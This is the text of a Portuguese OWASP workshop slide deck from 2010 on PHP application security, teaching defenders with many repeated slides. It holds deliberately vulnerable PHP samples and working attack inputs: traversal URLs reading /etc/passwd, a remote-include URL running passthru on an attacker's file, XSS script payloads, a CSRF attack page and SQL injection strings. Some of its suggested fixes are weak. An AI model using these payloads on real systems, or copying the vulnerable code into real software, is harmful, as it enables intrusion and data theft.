Abril 2010
1
Joaquim Marques - EST
OWASP @ ISCTE-IULWorkshop de Segurança Aplicacional
Segurança em PHP
Abril 2010OWASP @ ISCTE-IUL
Aplicações Web - problemas No Início- Protocolo HTTP /browsers desenhados para permuta de documentos,- Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,- Segurança das aplicações deixada para segundo plano.
Abril 2010OWASP @ ISCTE-IUL
Aplicações Web - problemas No Início- Protocolo HTTP /browsers desenhados para permuta de documentos,- Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,- Segurança das aplicações deixada para segundo plano.
Actualidade- Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras)- Dificuldade em criar aplicações razoavelmente seguras-Segurança é dispendiosa (análise de risco)- Segurança dificulta a usabilidade
Abril 2010OWASP @ ISCTE-IUL
Aplicações Web - problemas No Início- Protocolo HTTP /browsers desenhados para permuta de documentos,- Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,- Segurança das aplicações deixada para segundo plano.
Actualidade- Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras)- Dificuldade em criar aplicações razoavelmente seguras-Segurança é dispendiosa (análise de risco)- Segurança dificulta a usabilidade
Abril 2010
3
2005 CSI/FBI Annual Computer Crime and Security Surveyhttp://i.cmpnet.com/v2.gocsi.com/pdf/CSISurvey2007.pdf
Abril 2010
4
CAPÍTULO IIDos crimes ligados à informática Artigo 3º - Falsidade informática Artigo 4º - Dano relativo a programas ou outros dados Informáticos Artigo 5º - Sabotagem informática Artigo 6º - Acesso ilegítimo Artigo 7º - Intercepção ilegítima
Pena de prisão
Abril 2010
5
Questões de segurança actuais - vulnerabilidades
Ataques de “hackers” - negação de serviço, - assalto a servidores,Ameaças vulgares (vírus, spyware, pishing,…)Comprometimento de dados
Abril 2010
5
Questões de segurança actuais - vulnerabilidades
Ataques de “hackers” - negação de serviço, - assalto a servidores,Ameaças vulgares (vírus, spyware, pishing,…)Comprometimento de dados
Ameaças – O que fazer < Monitorização: saber o que aconteceu.
< Deteccão: saber quando fui atacado.
< Prevenção parar os ataques antes de terem sucesso.
< Avaliação: descobrir os problemas primeiro que os atacantes
Abril 2010OWASP @ ISCTE-IUL
Firewall de rede
6
Abril 2010OWASP @ ISCTE-IUL
Firewall de rede
Exploração de vulnerabilidades através:
- Web servers- Database servers- Web Application Servers
6
Abril 2010
7
Abril 2010
7
Abril 2010
7
Abril 2010
8
- TOP 10 vulnerabilidades de aplicações Web 2010
Abril 2010
9
PHP Remote File Include: Por defeito o PHP permite que as funções que lidam com ficheiros acedam a recursos através da funcionalidade/extensão "allow_url_fopen". Ao permitir que os scripts permitam que o input de utilizadores influenciem os nomes de ficheiros então a inclusão remota de ficheiros pode resultar. Este ataque permite: Execução de código remoto
Instalação de rootkits Compromisso do sistema
SQL Injection:As injecções são possíveis pelo fornecimento de dados falsamente interpretados pelas queries SQL. As injecções SQL permitem ao atacante:
Criar, ler, alterar, e apagar os dados disponíveis para a aplicação comprometendo a base de dados e o próprio sistema.
Cross-Site Scripting (XSS): Permite ao atacante desfigurar um website, inserir conteúdo hostil, conduzir ataques de pishing, assaltar o browser usando javascript e até forçar o utilizador a usar comandos inapropriados sem o saber (XSRF).
Cross-Site Request Forgeries (CSR/XSRF): Força os utilizadores legítimos a executar comandos sem o seu consentimento, sendo extremamente difícil de prevenir ( a sua sofisticação tem vindo a aumentar pela utilização de técnicas AJAX e até de worms automatizados - Samy MySpace Worm.
PHP – tipos de vulnerabilidades mais explorados
http://www.sans.org/top20/#s1
Abril 2010
10
PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador
Auditoria(s) - ao servidor e aplicaçõesHábitos de programação segura Testes ao código
Solução
Abril 2010
10
PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador
Auditoria(s) - ao servidor e aplicaçõesHábitos de programação segura Testes ao código
Solução
Abril 2010
10
PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador
Auditoria(s) - ao servidor e aplicaçõesHábitos de programação segura Testes ao código
Solução
Abril 2010
11
FerramentasPhpSecInfo PHP SecAudit –Dan Lefree
Alteração directivas php.ini (se for administrador) .htaccess php_flag directive value ini_set()
Abril 2010
12
Nunca confiar no “Input” dos utilizadores
Regra básica
Origem input-Campos de formulário -Dados $_GET, $_POST, $_REQUEST-Cookies ($_COOKIES)-Dados de Web services-Ficheiros-Variáveis de servidor (ex:. $_SERVER['SERVER_NAME'])-Variáveis de ambiente-Resultados de querys a BD’s
Abril 2010
12
Nunca confiar no “Input” dos utilizadores
Regra básica
Origem input-Campos de formulário -Dados $_GET, $_POST, $_REQUEST-Cookies ($_COOKIES)-Dados de Web services-Ficheiros-Variáveis de servidor (ex:. $_SERVER['SERVER_NAME'])-Variáveis de ambiente-Resultados de querys a BD’s
Abril 2010
12
Nunca confiar no “Input” dos utilizadores
Regra básica
Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores
Abril 2010
12
Nunca confiar no “Input” dos utilizadores
Regra básica
Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores
FILTER_VALIDATE_INT "int"
FILTER_VALIDATE_BOOLEAN "boolean"
FILTER_VALIDATE_FLOAT "float"
FILTER_VALIDATE_REGEXP "validate_regexp"
FILTER_VALIDATE_URL "validate_url"
FILTER_VALIDATE_EMAIL "validate_email"
FILTER_VALIDATE_IP "validate_ip"
FILTER_SANITIZE_STRING "string"
FILTER_SANITIZE_STRIPPED "stripped"
FILTER_SANITIZE_ENCODED "encoded"
FILTER_SANITIZE_SPECIAL_CHARS "special_chars"
FILTER_SANITIZE_EMAIL "email"
FILTER_SANITIZE_URL "url"
FILTER_SANITIZE_NUMBER_INT "number_int"
FILTER_SANITIZE_NUMBER_FLOAT "number_float"
FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes"
FILTER_CALLBACK "callback"
Abril 2010
12
Nunca confiar no “Input” dos utilizadores
Regra básica
Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores
FILTER_VALIDATE_INT "int"
FILTER_VALIDATE_BOOLEAN "boolean"
FILTER_VALIDATE_FLOAT "float"
FILTER_VALIDATE_REGEXP "validate_regexp"
FILTER_VALIDATE_URL "validate_url"
FILTER_VALIDATE_EMAIL "validate_email"
FILTER_VALIDATE_IP "validate_ip"
FILTER_SANITIZE_STRING "string"
FILTER_SANITIZE_STRIPPED "stripped"
FILTER_SANITIZE_ENCODED "encoded"
FILTER_SANITIZE_SPECIAL_CHARS "special_chars"
FILTER_SANITIZE_EMAIL "email"
FILTER_SANITIZE_URL "url"
FILTER_SANITIZE_NUMBER_INT "number_int"
FILTER_SANITIZE_NUMBER_FLOAT "number_float"
FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes"
FILTER_CALLBACK "callback"Funções de filtragem filter_var ( $variable [, $filter [,$options ]] ) filter_input ( $type , $variable_name [, $filter [, $options ]] ) ….
Abril 2010
13
PHP – níveis múltiplos de filtragem de dados
Owasp ESAPI(enterprise security API) for PHPhttp://code.google.com/p/owasp-esapi-php/
Abril 2010
13
PHP – níveis múltiplos de filtragem de dados
Owasp ESAPI(enterprise security API) for PHPhttp://code.google.com/p/owasp-esapi-php/
Abril 2010
13
PHP – níveis múltiplos de filtragem de dados
Owasp ESAPI(enterprise security API) for PHPhttp://code.google.com/p/owasp-esapi-php/
Abril 2010
14
Precauções básicas em PHP
• restrição no acesso a phpinfo(), -> disable_functions =phpinfo
• utilize ligações seguras SSL• utilize ficheiros e directórios ocultos/privados• “cuidados” com a configuração do PHP
• listagem/reporting de erros • register_globals• safe_mode
• “cuidados” com os privilégios na administração das BD´s• “cuidados” com os ficheiros de instalação/config das aplicações
Abril 2010
14
Precauções básicas em PHP
• restrição no acesso a phpinfo(), -> disable_functions =phpinfo
• utilize ligações seguras SSL• utilize ficheiros e directórios ocultos/privados• “cuidados” com a configuração do PHP
• listagem/reporting de erros • register_globals• safe_mode
• “cuidados” com os privilégios na administração das BD´s• “cuidados” com os ficheiros de instalação/config das aplicações
<?phpecho "---";//ini_set(disable_functions =phpinfo);//ini_set(register_globals = Off); sem qq efeito//ini_set(safe_mode = Off); sem qq efeitoini_set('display_errors', 'Off');ini_set('log_errors', 'On');ini_set('error_log', '../logs/error_log');ini_set('error_reporting', E_ALL | E_STRICT);phpinfo();?>
Abril 2010
14
Precauções básicas em PHP
• restrição no acesso a phpinfo(), -> disable_functions =phpinfo
• utilize ligações seguras SSL• utilize ficheiros e directórios ocultos/privados• “cuidados” com a configuração do PHP
• listagem/reporting de erros • register_globals• safe_mode
• “cuidados” com os privilégios na administração das BD´s• “cuidados” com os ficheiros de instalação/config das aplicações
<?phpecho "---";//ini_set(disable_functions =phpinfo);//ini_set(register_globals = Off); sem qq efeito//ini_set(safe_mode = Off); sem qq efeitoini_set('display_errors', 'Off');ini_set('log_errors', 'On');ini_set('error_log', '../logs/error_log');ini_set('error_reporting', E_ALL | E_STRICT);phpinfo();?>
<?//ini_set('register_globals', 'Off'); sem qq efeito//$auth=0;if ($password == "chave") { $auth = 1;}if ($auth == 1) { echo "acesso permitido";} else {echo "acesso recusado";}?>
Abril 2010
15
a)- Spoofing do endereço de e-mail
mail($recipient,$subject,$message,$headers) To: $recipient Subject: $subject $headers $message
<html><body><?php//php_email_injectionaini_set("SMTP","mail.est.ipcb.pt");ini_set("sendmail_from",“[email protected]");
if (isset($_POST['email'])){ $email = $_POST['email'] ; $assunto = $_POST['assunto'] ; $mensagem = $_POST['mensagem'] ; if (mail("[email protected]",$assunto,$mensagem, "From: $email" )){; echo "Obrigado por enviar o email"; }}else{?>
<form method='POST' action='php_email_injectiona.php'> Para: @example.com <br /> De: <input name='email' type='text' /> <br /> Assunto: <input name='assunto' type='text' /><br /> Message:<br /> <textarea name='mensagem' rows='10' cols='40'> </textarea><br /> <input type='submit' name='enviar' value='enviar'/></form><?php}?></body></html>
Abril 2010
15
a)- Spoofing do endereço de e-mail
mail($recipient,$subject,$message,$headers) To: $recipient Subject: $subject $headers $message
Abril 2010
15
a)- Spoofing do endereço de e-mail
mail($recipient,$subject,$message,$headers) To: $recipient Subject: $subject $headers $message
Php_email_injection_a.php
function spamcheck($field){ if(eregi("to:",$field) || eregi("cc:",$field)) { return TRUE; } else { return FALSE; } }
Abril 2010
16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>
D.T.
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
Abril 2010
16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>
http://localhost/php_include.php?fich=teste.txt
D.T.
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
Abril 2010
16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>
http://localhost/php_include.php?fich=teste.txt http://localhost/security/php_include.php?fich=c:/boot.ini
D.T.
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
Abril 2010
16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>
http://localhost/php_include.php?fich=teste.txt
http://localhost/php_include.php?fich=/etc/passwd
http://localhost/security/php_include.php?fich=c:/boot.ini
D.T.
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
Abril 2010
16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>
http://localhost/php_include.php?fich=teste.txt
http://localhost/php_include.php?fich=/etc/passwd
http://localhost/security/php_include.php?fich=c:/boot.ini
D.T.
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
Abril 2010
16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>
http://localhost/php_include.php?fich=teste.txt
http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd
http://localhost/security/php_include.php?fich=c:/boot.ini
D.T.
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
Abril 2010
16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>
http://localhost/php_include.php?fich=teste.txt
http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd
Solução: <?php//php_include_sec.phpecho"PHP_Include() -exemplo ataque <br>";include(basename(realpath($_GET['fich'])));?>
http://localhost/security/php_include.php?fich=c:/boot.ini
D.T.
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
Abril 2010
16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>
http://localhost/php_include.php?fich=teste.txt
http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd
Solução: <?php//php_include_sec.phpecho"PHP_Include() -exemplo ataque <br>";include(basename(realpath($_GET['fich'])));?>
http://localhost/security/php_include.php?fich=c:/boot.ini
D.T.
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
Solução alternativa
Abril 2010
16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>
http://localhost/php_include.php?fich=teste.txt
http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd
Solução: <?php//php_include_sec.phpecho"PHP_Include() -exemplo ataque <br>";include(basename(realpath($_GET['fich'])));?>
http://localhost/security/php_include.php?fich=c:/boot.ini
D.T.
R.I.
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
Safemode=onOpen_basedir=/path
Solução alternativa
Abril 2010
16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>
http://localhost/php_include.php?fich=teste.txt
http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd
Solução: <?php//php_include_sec.phpecho"PHP_Include() -exemplo ataque <br>";include(basename(realpath($_GET['fich'])));?>
http://localhost/security/php_include.php?fich=c:/boot.ini
D.T.
<?php//php_include1.php –colocar no site atacanteprint "<pre>";passthru("dir");print "</pre>";?>
R.I.
ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
Safemode=onOpen_basedir=/path
Solução alternativa
Abril 2010
16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>
http://localhost/php_include.php?fich=teste.txt
http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd
Solução: <?php//php_include_sec.phpecho"PHP_Include() -exemplo ataque <br>";include(basename(realpath($_GET['fich'])));?>
http://localhost/security/php_include.php?fich=c:/boot.ini
D.T.
<?php//php_include1.php –colocar no site atacanteprint "<pre>";passthru("dir");print "</pre>";?>
R.I. http://localhost/security/php_include.php?fich=http://
www.est.ipcb.pt/pessoais/marques/php_include1.phpsec
ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
Safemode=onOpen_basedir=/path
Solução alternativa
Abril 2010
16
b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
<?php//php_include.phpecho "PHP_Include()";include($_GET['fich']);?>
http://localhost/php_include.php?fich=teste.txt
http://localhost/php_include.php?fich=/etc/passwdhttp://localhost/php_include.php?fich=../../../etc/passwd
Solução: <?php//php_include_sec.phpecho"PHP_Include() -exemplo ataque <br>";include(basename(realpath($_GET['fich'])));?>
http://localhost/security/php_include.php?fich=c:/boot.ini
D.T.
<?php//php_include1.php –colocar no site atacanteprint "<pre>";passthru("dir");print "</pre>";?>
R.I. http://localhost/security/php_include.php?fich=http://
www.est.ipcb.pt/pessoais/marques/php_include1.phpsec
Safe_mode=offAllow_url_include=onAllow_url_fopen=on
ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
Safemode=onOpen_basedir=/path
Solução alternativa
Funciona com
Abril 2010
17
c)- Upload de ficheiros
<?php //fich_upload1a.phpif (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES);
//} else {
// echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")<br>"; //} }else{?><form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"></form> <?php} ?>
Abril 2010
17
c)- Upload de ficheiros
<?php //fich_upload1a.phpif (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES);
//} else {
// echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")<br>"; //} }else{?><form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"></form> <?php} ?>
Abril 2010
17
c)- Upload de ficheiros
<?php //fich_upload1a.phpif (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES);
//} else {
// echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")<br>"; //} }else{?><form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"></form> <?php} ?>
Abril 2010
18
<?php //fich_upload1.phpif (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { if (is_uploaded_file($_FILES['fich']['tmp_name']) && $_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { move_uploaded_file($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; print_r($_FILES); } else { echo "<br><br>"; echo "Falha de Upload, tipo de ficheiro errado (".$_FILES['fich']['name'].")<br>"; } }else{?><form name="form" method="POST" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"></form> <?php} ?>
c)- Upload de ficheiros
Abril 2010
19
d:) Fixação de sessões
<?php//php_session1.phpsession_start();
$_SESSION['utilizador']='marques';$_SESSION['password']='aeiou';?>
1 - Eliminar cookies (ver session.save_path) - http://host/php_session1.php?PHPSESSID=1234567892- a partir de outro computador - http://host/php_session1.php?PHPSESSID=123456789
Abril 2010
19
d:) Fixação de sessões
<?php//php_session1.phpsession_start();
$_SESSION['utilizador']='marques';$_SESSION['password']='aeiou';?>
1 - Eliminar cookies (ver session.save_path) - http://host/php_session1.php?PHPSESSID=1234567892- a partir de outro computador - http://host/php_session1.php?PHPSESSID=123456789
--session_regenerate_id()solução
Abril 2010
19
d:) Fixação de sessões
<?php//php_session1.phpsession_start();
$_SESSION['utilizador']='marques';$_SESSION['password']='aeiou';?>
1 - Eliminar cookies (ver session.save_path) - http://host/php_session1.php?PHPSESSID=1234567892- a partir de outro computador - http://host/php_session1.php?PHPSESSID=123456789
--session_regenerate_id()solução
………..if(!isset($_SESSION['SERVER_GENERATED_SID'])) { //destruir todos as sessões session_destroy(); } // gera um novo identificador de sessão session_regenerate_id( ); $_SESSION['SERVER_GENERATED_SID']=true; ……..
--Verificar se as sessões foram criadas pelo servidor web
Abril 2010
20
e) Sequestro de sessões (session Hijacking)
Verificação extra(mudança de browser no
utilizador)
Solução – utilização de tokens
Abril 2010
20
e) Sequestro de sessões (session Hijacking)
<?php session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])) { if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { /*PEDIDO de PASSWORD/ exit; } } else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); } ?>
compara o valor do HTTP_USER_AGENT do browser com o do servidor Web
Verificação extra(mudança de browser no
utilizador)
Solução – utilização de tokens
Abril 2010
21
f) - Formulários Spoofed (falsificados)
Abril 2010
21
f) - Formulários Spoofed (falsificados)
<html><head> </head> <body><form action="processar.php" method="post"> <p>Marca</p> <select name="marca"> <option value="Ford">Ford</option> <option value="Peugeot">Peugeot</option> <option value="Renault">Renault</option> <option value="Mercedes">Mercedes</option> </select> <p>cor</p> <select name="cor"> <option value="branco">Branco</option> <option value="verde">Verde</option> <option value="azul">Azul</option> </select> <input type="submit"> </form></body> </html>
<?php$cor=$_REQUEST['cor'];$marca=$_REQUEST['marca'];echo "marca - ". $marca."<br>";echo "cor - ".$cor."<br>";?>
//Formulario.htm
//processar.php
Abril 2010
21
f) - Formulários Spoofed (falsificados)
<html><head> </head> <body><form action="processar.php" method="post"> <p>Marca</p> <select name="marca"> <option value="Ford">Ford</option> <option value="Peugeot">Peugeot</option> <option value="Renault">Renault</option> <option value="Mercedes">Mercedes</option> </select> <p>cor</p> <select name="cor"> <option value="branco">Branco</option> <option value="verde">Verde</option> <option value="azul">Azul</option> </select> <input type="submit"> </form></body> </html>
<?php$cor=$_REQUEST['cor'];$marca=$_REQUEST['marca'];echo "marca - ". $marca."<br>";echo "cor - ".$cor."<br>";?>
//Formulario.htm
//processar.php
Abril 2010
21
f) - Formulários Spoofed (falsificados)
<?php$cor=$_REQUEST['cor'];$marca=$_REQUEST['marca'];echo "marca - ". $marca."<br>";echo "cor - ".$cor."<br>";?>
//processar.php
<form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> <option value="Chaço">Carro da marca Chaço</option></select> <p>cor</p> <input type="text" name="cor" /> <input type="submit" /> </form>
Colocar no site do atacante (fazendo as alterações adequadas)
Formulario_spoof.htm
Abril 2010
21
f) - Formulários Spoofed (falsificados)
<?php$cor=$_REQUEST['cor'];$marca=$_REQUEST['marca'];echo "marca - ". $marca."<br>";echo "cor - ".$cor."<br>";?>
//processar.php
<form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> <option value="Chaço">Carro da marca Chaço</option></select> <p>cor</p> <input type="text" name="cor" /> <input type="submit" /> </form>
Colocar no site do atacante (fazendo as alterações adequadas)
Formulario_spoof.htm
Abril 2010
21
f) - Formulários Spoofed (falsificados)
<?php$cor=$_REQUEST['cor'];$marca=$_REQUEST['marca'];echo "marca - ". $marca."<br>";echo "cor - ".$cor."<br>";?>
//processar.php
<form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> <option value="Chaço">Carro da marca Chaço</option></select> <p>cor</p> <input type="text" name="cor" /> <input type="submit" /> </form>
Colocar no site do atacante (fazendo as alterações adequadas)
Formulario_spoof.htm
<?php$markk=array ('Ford','Renault','Peugeot', ‘Mercedes’);if (in_array($marca, $markk)) {//ok executa código em processar.php} else{die ("continue tentando ...eheheh");}?>
Solução
Abril 2010
22
g) XSS - Cross Site Scripting
//form1.htm<form action="processar.php" method="POST"> <p>marca</p> <select name="marca"> <option value="Ford">Ford</option> <option value="Peugeot">Peugeot</option> <option value="Renault">Renault</option> <option value="Mercedes">Mercedes</option> </select> <p>cor</p> <input type="text" name="cor" /> <input type="submit" /> </form>
//processar.php<?php$cor=$_REQUEST['cor'];$marca=$_REQUEST['marca'];echo "marca - ". $marca."<br>";echo "cor - ".$cor."<br>";//ligar a BD e inserir a escolha?>
Abril 2010
22
g) XSS - Cross Site Scripting1) <script> alert ('Ataque XSS')</script>
Abril 2010
22
g) XSS - Cross Site Scripting1) <script> alert ('Ataque XSS')</script>2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script>
Abril 2010
22
g) XSS - Cross Site Scripting1) <script> alert ('Ataque XSS')</script>2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script>3) <script>document.location="http://www.php.net";</script>
Abril 2010
22
g) XSS - Cross Site Scripting1) <script> alert ('Ataque XSS')</script>2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script>
Solução html_entities() strip_tags()
3) <script>document.location="http://www.php.net";</script>
Abril 2010
23
h ) - CSRF (XSRF) – Cross Site Request Forgery
ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
php_csrf.htm php_CSRF.php
Abril 2010
23
h ) - CSRF (XSRF) – Cross Site Request Forgery
ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
php_csrf.htm php_CSRF.php
Abril 2010
23
h ) - CSRF (XSRF) – Cross Site Request Forgery
ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
php_csrf.htm php_CSRF.php
Atacante
Abril 2010
23
h ) - CSRF (XSRF) – Cross Site Request Forgery
ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
php_csrf.htm php_CSRF.phphttp://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23
Atacante
Abril 2010
23
h ) - CSRF (XSRF) – Cross Site Request Forgery
ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
php_csrf.htm php_CSRF.phphttp://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23
Atacante
Abril 2010
23
h ) - CSRF (XSRF) – Cross Site Request Forgery
ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
php_csrf.htm php_CSRF.phphttp://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23
Atacante
Abril 2010
24
h ) - CSRF (XSRF) – Cross Site Request Forgery
//csrf_ataque.html<html><head><title>CSRF ATAQUE</title></head><body><a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas%20crackados&Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a></body></html>
Atacante – desenvolve o script e coloca-o num servidor
Abril 2010
24
h ) - CSRF (XSRF) – Cross Site Request Forgery
//csrf_ataque.html<html><head><title>CSRF ATAQUE</title></head><body><a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas%20crackados&Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a></body></html>
Atacante – desenvolve o script e coloca-o num servidor
Abril 2010
24
h ) - CSRF (XSRF) – Cross Site Request Forgery
//csrf_ataque.html<html><head><title>CSRF ATAQUE</title></head><body><a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas%20crackados&Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a></body></html>
Atacante – desenvolve o script e coloca-o num servidor
Solução -Colocar tokens que se propaguem na aplicação
Abril 2010
25
i) SQL injection
php_sqlinjection_sel.php
php_sqli_sel_sq2.php
“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
Abril 2010
25
i) SQL injection
php_sqlinjection_sel.php
php_sqli_sel_sq2.php
“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
1’ or ‘1’=‘1%' or 1=1 –......
Abril 2010
25
i) SQL injection
php_sqlinjection_sel.php
php_sqli_sel_sq2.php
“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
1’ or ‘1’=‘1%' or 1=1 –......
“SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”
Abril 2010
25
i) SQL injection
php_sqlinjection_sel.php
php_sqli_sel_sq2.php
“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
1’ or ‘1’=‘1%' or 1=1 –......
